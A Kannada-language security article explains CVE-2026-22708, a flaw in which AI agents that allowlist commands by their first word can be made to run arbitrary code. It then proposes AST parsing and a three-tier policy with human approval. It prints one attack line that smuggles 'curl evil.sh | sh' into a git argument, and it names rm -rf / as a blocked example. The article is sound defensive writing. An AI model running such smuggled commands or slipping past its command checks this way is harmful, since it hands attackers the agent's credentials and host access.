ಹೊಸದಾಗಿ ಬಹಿರಂಗಪಡಿಸಲಾದ CVE-2026-22708 ಎಂಬ ದೋಷವು, ಸರಳ ಕಮಾಂಡ್ ಅಲೌಸ್‌ಲಿಸ್ಟ್‌ಗಳನ್ನು (allowlists) ಅವಲಂಬಿಸಿರುವ AI ಏಜೆಂಟ್‌ಗಳನ್ನು ಹಾನಿಕಾರಕ ಕೋಡ್ ಚಲಾಯಿಸುವಂತೆ ವಂಚಿಸಬಹುದು ಎಂದು ತೋರಿಸುತ್ತದೆ. ಈ ದೋಷವು ದಾಳಿಕಾರರು ಒಂದು ಸಾಮಾನ್ಯ ಕಮಾಂಡ್‌ನೊಳಗೆ ಪೇಲೋಡ್ ಅನ್ನು ಅಡಗಿಸಲು ಅನುವು ಮಾಡಿಕೊಡುತ್ತದೆ, ಇದರಿಂದ ಏಜೆಂಟ್ ಹೋಸ್ಟ್‌ನಲ್ಲಿ ಯಾವುದೇ ಸ್ಕ್ರಿಪ್ಟ್‌ಗಳನ್ನು ಚಲಾಯಿಸಲು ನೇರ ಮಾರ್ಗ ಸಿಗುತ್ತದೆ.

ಡೆವಲಪ್‌ಮೆಂಟ್ ಅಥವಾ ಆಪರೇಷನ್ಸ್‌ಗಳನ್ನು ಸ್ವಯಂಚಾಲಿತಗೊಳಿಸುವ ಹೆಚ್ಚಿನ AI ಚಾಲಿತ ಸಹಾಯಕರು, ಕಮಾಂಡ್‌ನ ಮೊದಲ ಪದವನ್ನು ವೈಟ್‌ಲಿಸ್ಟ್‌ನೊಂದಿಗೆ ಹೋಲಿಸುವ ಮೂಲಕ ಕೆಲಸ ಮಾಡುತ್ತವೆ. ಆ ಪದವು git ಅಥವಾ npm ನಂತಹ ಎಂಟ್ರಿಗೆ ಹೊಂದಿಕೆಯಾದರೆ, ವಿನಂತಿಯನ್ನು ನೇರವಾಗಿ ನಡೆಸಲಾಗುತ್ತದೆ. ಈ "ಪ್ರಿಫಿಕ್ಸ್ ಮ್ಯಾಚಿಂಗ್" (prefix matching) ಅನುಷ್ಠಾನಗೊಳಿಸಲು ಸುಲಭ ಮತ್ತು ಏಜೆಂಟ್ ಅಪಾಯಕಾರಿ ಉಪಕರಣಗಳನ್ನು ಚಲಾಯಿಸದಂತೆ ತಡೆಯುತ್ತದೆ ಎಂದು ತೋರುತ್ತದೆ ಎಂಬ ಕಾರಣಕ್ಕೆ ಇದು ಆಕರ್ಷಕವಾಗಿದೆ.

ಪ್ರಾಯೋಗಿಕವಾಗಿ ಈ ವಿಧಾನವು ಒಂದು ಭದ್ರತಾ ಲೋಪವಾಗಿದೆ. ದಾಳಿಕಾರರು ಅನುಮತಿಸಲಾದ ಪದದ ನಂತರ ಕಮಾಂಡ್ ಸಬ್‌ಸ್ಟಿಟ್ಯೂಷನ್ ಅಥವಾ ಇತರ ಶೆಲ್ ಫೀಚರ್ ಅನ್ನು ಸೇರಿಸಬಹುದು ಮತ್ತು ವೈಟ್‌ಲಿಸ್ಟ್ ಅದನ್ನು ಎಂದಿಗೂ ಗುರುತಿಸುವುದಿಲ್ಲ. ಒಂದು ಉದಾಹರಣೆ ಇಲ್ಲಿದೆ:

git branch "$(curl evil.sh | sh)"

ಅಲೌಸ್‌ಲಿಸ್ಟ್ ಕೇವಲ git ಅನ್ನು ಮಾತ್ರ ನೋಡಿ ವಿನಂತಿಯನ್ನು ಅನುಮೋದಿಸುತ್ತದೆ. ನಂತರ ಶೆಲ್ $(curl evil.sh | sh) ಅನ್ನು ವಿಸ್ತರಿಸುತ್ತದೆ, ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ಡೌನ್‌ಲೋಡ್ ಮಾಡುತ್ತದೆ ಮತ್ತು ಏಜೆಂಟ್‌ನ ಅಧಿಕಾರಗಳೊಂದಿಗೆ ಅದನ್ನು ಚಲಾಯಿಸುತ್ತದೆ. ಶೆಲ್ ಮೂಲಕ ಅರ್ಥೈಸಲ್ಪಡುವ ಆರ್ಗ್ಯುಮೆಂಟ್‌ಗಳನ್ನು ಸ್ವೀಕರಿಸುವ ಯಾವುದೇ ವೈಟ್‌ಲಿಸ್ಟ್ ಮಾಡಲಾದ ಬೈನರಿಯೊಂದಿಗೆ ಇದೇ ತಂತ್ರ ಕೆಲಸ ಮಾಡುತ್ತದೆ.

AI ಏಜೆಂಟ್‌ಗಳನ್ನು ಹೆಚ್ಚಾಗಿ ಅಧಿಕೃತ ಪರಿಸರಗಳಿಗೆ—ಕಂಟಿನ್ಯೂಯಸ್-ಇಂಟಿಗ್ರೇಷನ್ ಪೈಪ್‌ಲೈನ್‌ಗಳು, ಕ್ಲೌಡ್-ಹೋಸ್ಟ್ ಮಾಡಲಾದ ಡೆವಲಪ್‌ಮೆಂಟ್ ಕಂಟೇನರ್‌ಗಳು ಮತ್ತು ಬಳಕೆದಾರರ ವರ್ಕ್‌ಸ್ಟೇಷನ್‌ಗಳಿಗೂ—ಭರವಸೆ ನೀಡಲಾಗುತ್ತಿರುವುದರಿಂದ ಇದರ ಪರಿಣಾಮವು ತೀವ್ರವಾಗಿದೆ. ಏಜೆಂಟ್ ಅನ್ನು ಪೇಲೋಡ್ ಚಲಾಯಿಸುವಂತೆ ವಂಚಿಸಿದರೆ, ದಾಳಿಕಾರರು ಏಜೆಂಟ್‌ಗೆ ಇರುವ ಅದೇ ಪ್ರವೇಶ ಹಕ್ಕುಗಳನ್ನು ಪಡೆಯುತ್ತಾರೆ, ಇದು ಹೆಚ್ಚಾಗಿ ಸೀಕ್ರೆಟ್ ಕೀಗಳು, ಡಿಪ್ಲಾಯ್ಮೆಂಟ್ ಕ್ರೆಡೆನ್ಷಿಯಲ್‌ಗಳು ಅಥವಾ ಅನಿಯಮಿತ ಫೈಲ್‌ಸಿಸ್ಟಮ್ ಪ್ರವೇಶವನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ.

ಸರಳ ಅಲೌಸ್‌ಲಿಸ್ಟ್‌ಗಳು ಏಕೆ ವಿಫಲವಾಗುತ್ತವೆ

  • ಪಾಲಿಸಿಯಲ್ಲ, ಕೇವಲ ಸ್ಟ್ರಿಂಗ್ ಮ್ಯಾಚಿಂಗ್ – ಕೇವಲ ಮೊದಲ ಟೋಕನ್ ಅನ್ನು ಪರಿಶೀಲಿಸುವುದು ಕಮಾಂಡ್ ಲೈನ್‌ನ ರಚನೆಯನ್ನು ನಿರ್ಲಕ್ಷಿಸುತ್ತದೆ. ಆರ್ಗ್ಯುಮೆಂಟ್‌ಗಳನ್ನು ಹೇಗೆ ಅರ್ಥೈಸಲಾಗುತ್ತದೆ ಅಥವಾ ಅವುಗಳಲ್ಲಿ ಶೆಲ್ ಮೆಟಾಕ್ಯಾರೆಕ್ಟರ್‌ಗಳು ಇವೆಯೇ ಎಂಬುದನ್ನು ಇದು ಪರಿಗಣಿಸುವುದಿಲ್ಲ.
  • ಶೆಲ್ ಫೀಚರ್‌ಗಳು ಶಕ್ತಿಯುತವಾಗಿವೆ – ಸಬ್‌ಸ್ಟಿಟ್ಯೂಷನ್, ಪೈಪ್‌ಲೈನ್‌ಗಳು ಮತ್ತು ರಿಡೈರೆಕ್ಷನ್ ಎಲ್ಲವನ್ನೂ ಅಲೌಸ್‌ಲಿಸ್ಟ್ ಪರಿಶೀಲನೆಯ ನಂತರ ಪ್ರಕ್ರಿಯೆಗೊಳಿಸಲಾಗುತ್ತದೆ, ಇದು ಹಾನಿಕಾರಕವಲ್ಲದಂತೆ ಕಾಣುವ ಕಮಾಂಡ್ ಅನ್ನು ಸಂಪೂರ್ಣ ಎಕ್ಸ್‌ಪ್ಲಾಯ್ಟ್ ಆಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ.
  • ಸಂದರ್ಭದ ಅರಿವಿಲ್ಲ absence (Context awareness ಇಲ್ಲದಿರುವುದು) – ಸುರಕ್ಷಿತವಾದ git status ಮತ್ತು ಪ್ರೊಡಕ್ಷನ್ ಇತಿಹಾಸವನ್ನು ಅಳಿಸಿಹಾಕಬಹುದಾದ ಅಪಾಯಕಾರಿ git push --force ನಡುವಿನ ವ್ಯತ್ಯಾಸವನ್ನು ವೈಟ್‌ಲಿಸ್ಟ್ ಗುರುತಿಸಲು ಸಾಧ್ಯವಿಲ್ಲ.

ಹೆಚ್ಚು ಸ್ಥಿತಿಸ್ಥಾಪಕ ಮಾದರಿ

CVE-2026-22708 ಗೆ ಸಮುದಾಯದ ಪ್ರತಿಕ್ರಿಯೆಯೆಂದರೆ ಸರಳ ಸ್ಟ್ರಿಂಗ್ ಪರಿಶೀಲನೆಗಳಿಂದ ಹೊರಬಂದು ಕಮಾಂಡ್‌ಗಳನ್ನು ಅಬ್‌ಸ್ಟ್ರಾಕ್ಟ್ ಸಿಂಟ್ಯಾಕ್ಸ್ ಟ್ರೀ (AST) ಆಗಿ ಪಾರ್ಸಿಂಗ್ ಮಾಡುವುದು. ಒಂದು AST ಕಮಾಂಡ್‌ನ ಶ್ರೇಣೀಕೃತ ರಚನೆಯನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತದೆ, ಇದು ಎಕ್ಸಿಕ್ಯೂಟಬಲ್ ಅನ್ನು ಅದರ ಆರ್ಗ್ಯುಮೆಂಟ್‌ಗಳು ಮತ್ತು ಯಾವುದೇ ಶೆಲ್ ರಚನೆಗಳಿಂದ ಪ್ರತ್ಯೇಕಿಸುತ್ತದೆ. ಕಮಾಂಡ್ ಅನ್ನು ವಿಂಗಡಿಸಿದ ನಂತರ, ಪಾಲಿಸಿ ಇಂಜಿನ್ ಅದನ್ನು ಮೂರು ವಿಭಿನ್ನ ವರ್ಗಗಳ ವಿರುದ್ಧ ಮೌಲ್ಯಮಾಪನ ಮಾಡಬಹುದು:

  • SAFE – ಪರಿಶೀಲಿಸಿದ ನಿಯಮಗಳಿಗೆ ಹೊಂದಿಕೆಯಾಗುವ ಮತ್ತು ಯಾವುದೇ ಅಪಾಯಕಾರಿ ರಚನೆಗಳನ್ನು ಹೊಂದಿಲ್ಲದ ಕಮಾಂಡ್‌ಗಳು. ಏಜೆಂಟ್ ಇವುಗಳನ್ನು ಸ್ವಯಂಚಾಲಿತವಾಗಿ ಚಲಾಯಿಸುತ್ತದೆ. ಉದಾಹರಣೆ: git status.
  • BLOCKED – ರಹಸ್ಯ ಫೈಲ್‌ಗಳನ್ನು ಪ್ರವೇಶಿಸುವ, ಡೈರೆಕ್ಟರಿಗಳನ್ನು ಅಳಿಸುವ ಅಥವಾ ಅಧಿಕೃತ ಸ್ಕ್ರಿಪ್ಟ್‌ಗಳನ್ನು ಕರೆಯುವಂತಹ ಅಪಾಯಕಾರಿ ಎಂದು 알려ದ ಮಾದರಿಗಳಿಗೆ ಹೊಂದಿಕೆಯಾಗುವ ಕಮಾಂಡ್‌ಗಳು. ಏಜೆಂಟ್ ಇವುಗಳನ್ನು ತಕ್ಷಣವೇ ರದ್ದುಗೊಳಿಸುತ್ತದೆ. ಉದಾಹರಣೆ: rm -rf /.
  • UNCERTAIN – ಸುರಕ್ಷಿತ ಅಥವಾ ತಡೆಹಿಡಿಯಲಾದ ವರ್ಗಗಳಿಗೆ ಸರಿಯಾಗಿ ಹೊಂದಿಕೆಯಾಗದ ಕಮಾಂಡ್‌ಗಳು. ಏಜೆಂಟ್ ಮುಂದುವರಿಯುವ ಮೊದಲು ಸ್ಪಷ್ಟವಾದ ಮಾನವ ಅನುಮತಿಯನ್ನು ಕೇಳಬೇಕು. ಉದಾಹರಣೆ: git push --force.

UNCERTAIN ಹಂತದ ಪರಿಚಯವು ಬೆದರಿಕೆ ಮಾದರಿಯನ್ನು (threat model) ಬದಲಾಯಿಸುತ್ತದೆ. ಗುರುತಿಸದ ಪ್ರತಿಯೊಂದು ಕಮಾಂಡ್ ಅನ್ನು ವೈಫಲ್ಯ ಎಂದು ಪರಿಗಣಿಸುವ ಬದಲು, ವ್ಯವಸ್ಥೆಯು ಅನಿಶ್ಚಿತತೆಯನ್ನು ನಿಯಂತ್ರಿತ ಸಂವಹನವನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. ಅನುಮೋದನಾ ಹಂತವನ್ನು ಜಾರಿಗೆ ತರಲು ಒಂದು ಪ್ರಾಯೋಗಿಕ ಮಾರ್ಗವೆಂದರೆ ಸಿಂಗಲ್-ಯೂಸ್ HMAC ಟೋಕನ್ ಅನ್ನು ನೀಡುವುದು, ಅದನ್ನು ಬಳಕೆದಾರರು ಏಜೆಂಟ್‌ಗೆ ಮರಳಿ ನೀಡಬೇಕು. ಟೋಕನ್ ವಿನಂತಿಗೆ ಕ್ರಿಪ್ಟೋಗ್ರಾಫಿಕಲಿ ಬೌಂಡ್ ಆಗಿರುವುದರಿಂದ, ಏಜೆಂಟ್ ಸಮ್ಮತಿಯನ್ನು ನಕಲಿ ಮಾಡಲು ಸಾಧ್ಯವಿಲ್ಲ.

ಭದ್ರತೆ ಮತ್ತು ಬಳಕೆಯ ಸುಲಭತೆಯನ್ನು ಸಮತೋಲನಗೊಳಿಸುವುದು

AST ಪಾರ್ಸಿಂಗ್ ವಿಳಂಬವನ್ನು (latency) ಹೆಚ್ಚಿಸುತ್ತದೆ ಅಥವಾ ಮೂರು ಹಂತದ ಮಾದರಿಯು ಬಳಕೆದಾರರಿಗೆ ಅನುಮೋದನಾ ಪ್ರಾಂಪ್ಟ್‌ಗಳ ಸುರಿಮಳೆಯನ್ನೇ ಮಾಡಬಹುದು ಮತ್ತು ಉತ್ಪಾದಕತೆಯನ್ನು ಕಡಿಮೆ ಮಾಡಬಹುದು ಎಂದು ವಿಮರ್ಶಕರು ವಾದಿಸಬಹುದು. ಆ ಆತಂಕಗಳು ಸಮಂಜಸವಾಗಿವೆ: ಸರಿಯಾಗಿ ಹೊಂದಾಣಿಕೆ ಮಾಡದ ನಿಯಮಗಳ ಸೆಟ್ ಫಾಲ್ಸ್ ಪಾಸಿಟಿವ್‌ಗಳನ್ನು (false positives) ಸೃಷ್ಟಿಸಬಹುದು ಮತ್ತು ಸಂಕೀರ್ಣ ಪಾರ್ಸಿಂಗ್ ಸರಳ ಸ್ಟ್ರಿಂಗ್ ಪರಿಶೀಲನೆಗಿಂತ ಕಂಪ್ಯೂಟೇಶನಲ್ ಆಗಿ ಹೆಚ್ಚು ಭಾರವಾಗಿರಬಹುದು. ಆದಾಗ್ಯೂ, ಪರ್ಯಾಯವಾಗಿ ಯಾವುದೇ ಕೋಡ್ ಚಲಾಯಿಸಲು ಅನುಮತಿಸುವುದು ಹೆಚ್ಚು ವೆಚ್ಚದಾಯಕವಾಗಿದೆ. ಲೈಟ್‌ವೇಟ್ ಸ್ಯಾಂಡ್‌ಬಾಕ್ಸಿಂಗ್ ಅನ್ನು AST ವಿಶ್ಲೇಷಣೆಯೊಂದಿಗೆ ಸಂಯೋಜಿಸುವ ಹೈಬ್ರಿಡ್ ವಿಧಾನಗಳು ಕಾರ್ಯಕ್ಷಮತೆಯ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರದಂತೆ ತಡೆಯುತ್ತಲೇ ಬಲವಾದ ನೀತಿಯನ್ನು ಜಾರಿಗೆ ತರಬಹುದು.

ಡೆವಲಪರ್‌ಗಳು

ಈ ಅಪಾಯಗಳನ್ನು ನಿರ್ಲಕ್ಷಿಸುವ ಯೋಜನೆಗಳು ಹೆಚ್ಚಾಗಿ ಅತಿಯಾದ ನಿರ್ಬಂಧಿತ ನಿಯಮಗಳ ಮೂಲಕ ಏಜೆಂಟ್‌ನ ಕಾರ್ಯಕ್ಷಮತೆಯನ್ನು ಕುಂಠಿತಗೊಳಿಸುತ್ತವೆ ಅಥವಾ ಅದನ್ನು ದುರುಪಯೋಗಕ್ಕೆ ಬಿಡುತ್ತವೆ. ಮಧ್ಯಮ ಮಾರ್ಗ—ಅಂದರೆ ಸ್ಪಷ್ಟವಾದ SAFE, BLOCKED, ಮತ್ತು UNCERTAIN ಗುಂಪುಗಳನ್ನು ವ್ಯಾಖ್ಯಾನಿಸುವುದು—ಭದ್ರತೆ ಮತ್ತು ಉಪಯುಕ್ತತೆ ಎರಡಕ್ಕೂ ಒಂದು ಪ್ರಾಯೋಗಿಕ ಹಾದಿಯನ್ನು ಒದಗಿಸುತ್ತದೆ.

ಮುಂದೆ ಗಮನಿಸಬೇಕಾದವುಗಳು

  • Tooling – ಸಾಮಾನ್ಯ ಶೆಲ್‌ಗಳು ಮತ್ತು ಬಿಲ್ಡ್ ಪೈಪ್‌ಲೈನ್‌ಗಳಿಗಾಗಿ AST-ಆಧಾರಿತ ಪಾರ್ಸರ್‌ಗಳನ್ನು ಮತ್ತು ಸಿದ್ಧ ನೀತಿ ಟೆಂಪ್ಲೇಟ್‌ಗಳನ್ನು ಒದಗಿಸುವ ಓಪನ್-ಸೋರ್ಸ್ ಲೈಬ್ರರಿಗಳನ್ನು ನಿರೀಕ್ಷಿಸಬಹುದು.
  • Standards – ಕಂಟೇನರ್ ರನ್‌ಟೈಮ್‌ಗಳು seccomp ಪ್ರೊಫೈಲ್‌ಗಳನ್ನು ಹೇಗೆ ಪ್ರಮಾಣೀಕರಿಸಿದವೋ, ಹಾಗೆಯೇ ಉದ್ಯಮ ಗುಂಪುಗಳು ಸಾಮಾನ್ಯ ಅಭಿವೃದ್ಧಿ ಕಮಾಂಡ್‌ಗಳಿಗಾಗಿ ಮೂಲ ನಿಯಮಗಳ ಸೆಟ್‌ಗಳನ್ನು (baseline rule sets) ಪ್ರಸ್ತಾಪಿಸಬಹುದು.
  • Audits – ಭದ್ರತಾ ತಂಡಗಳು ತಮ್ಮ CI/CD ಆಡಿಟ್ ಪೈಪ್‌ಲೈನ್‌ಗಳಿಗೆ “allowlist sanity checks” ಅನ್ನು ಸೇರಿಸಬಹುದು ಮತ್ತು ಕೇವಲ ಪ್ರಿಫಿಕ್ಸ್ ಮ್ಯಾಚಿಂಗ್ (prefix matching) ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿರುವ ಯಾವುದೇ ಏಜೆಂಟ್ ಕಾನ್ಫಿಗರೇಶನ್‌ಗಳನ್ನು ಗುರುತಿಸಬಹುದು.

ಸಾರಾಂಶ

ನಿಮ್ಮ AI ಏಜೆಂಟ್ ಇಂದಿಗೂ ಕೇವಲ ಕಮಾಂಡ್‌ನ ಮೊದಲ ಪದವನ್ನು ನೋಡಿ ಏನನ್ನು ಚಲಾಯಿಸಬೇಕೆಂದು ನಿರ್ಧರಿಸುತ್ತಿದ್ದರೆ, ಅದು CVE-2026-22708 ರಲ್ಲಿ ತೋರಿಸಲಾದ ದುರ್ಬಲತೆಗೆ ಒಳಗಾಗಿರುತ್ತದೆ. ಆ ವಿಧಾನವನ್ನು ಬದಲಿಸಿ, AST-ಚಾಲಿತ ಪಾರ್ಸಿಂಗ್ ಮತ್ತು ಅಸ್ಪಷ್ಟ ಕ್ರಮಗಳಿಗಾಗಿ ಮಾನವ ಅನುಮೋದನೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವ ಮೂರು-ಹಂತದ ನೀತಿಯನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳಿ. ಈ ಹೆಚ್ಚುವರಿ ಹಂತವು ಒಂದು ಅಡಚಣೆಯಂತೆ ಅನಿಸಬಹುದು, ಆದರೆ ಇದು ಗಮನಕ್ಕೆ ಬಾರದ ಅಂಶವನ್ನು (blind spot) ಪರಿಶೀಲಿಸಬಹುದಾದ ನಿಯಂತ್ರಣ ಬಿಂದುವನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ, ಇದರಿಂದ ನಿಮ್ಮ ಕೋಡ್ ಮತ್ತು ನಿಮ್ಮ ಮೂಲಸೌಕರ್ಯ ಎರಡನ್ನೂ ರಕ್ಷಿಸಬಹುದು.